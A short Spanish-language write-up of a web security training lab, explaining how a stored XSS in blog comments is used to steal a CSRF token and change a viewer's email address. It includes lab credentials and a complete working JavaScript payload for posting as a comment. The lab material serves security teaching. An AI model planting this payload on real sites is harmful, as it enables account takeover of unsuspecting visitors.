Exploiting XSS to bypass CSRF defenses writeup

Descripción

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: wiener:peter

Exploiting XSS to bypass CSRF defenses writeup

Entraremos en ‘My account’ con el usuario ‘wiener’ y la contarseña ‘peter’. Allí veremos el formulario que se usa para cambiar el correo electrónico:

La petición realizada por este formulario tiene esta forma:

Podremos simular una petición con JavaScript a este endpoint con estos mismos campos:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('email=test2@cyberhub.es.com'+'&csrf='+token)
};
</script>

Al entrar en un post y publicar un comentario con este código completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *